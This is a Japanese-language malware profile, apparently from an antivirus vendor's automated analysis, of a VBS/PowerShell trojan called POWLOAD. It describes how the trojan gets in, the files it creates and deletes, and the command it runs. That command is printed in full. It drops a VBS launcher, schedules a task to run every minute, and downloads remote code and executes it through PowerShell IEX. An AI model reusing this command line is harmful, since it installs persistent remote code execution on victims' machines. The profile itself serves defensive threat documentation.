Trojan.VBS.POWLOAD.GFDY

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• "%System%\cmd.exe" /c echo Set objShell = WScript.CreateObject("WScript.Shell"): iNumberOfArguments = WScript.Arguments.Count: counter = 0: While counter ^< iNumberOfArguments: args = args + " " + WScript.Arguments(counter): counter = counter + 1: Wend: args2 = Trim(args): args = Replace(args2, "##","'"): objShell.Run args, 0, False > %User Temp%\..\Platform.vbs & schtasks /create /F /sc MINUTE /tn PlatformTask /tr %^TEMP%"\..\Platform.vbs cmd /c powershell -c \"$i=0;$W=New-Object Net.WebClient;$c=##($R -eq $null -and $i -lt 3){$R=$W.DownloadString($c);If($R.contains(##Z/7##)){IEX $R;}$i++;Start-Sleep -s 1}\""

他のシステム変更

マルウェアは、以下のファイルを削除します。

• %Windows%\Tasks\PlatformTask.job

(註：%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

作成活動

マルウェアは、以下のファイルを作成します。

• %AppDataLocal%\Platform.vbs

(註：%AppDataLocal%フォルダは、ローカルアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local" です。)

このウイルス情報は、自動解析システムにより作成されました。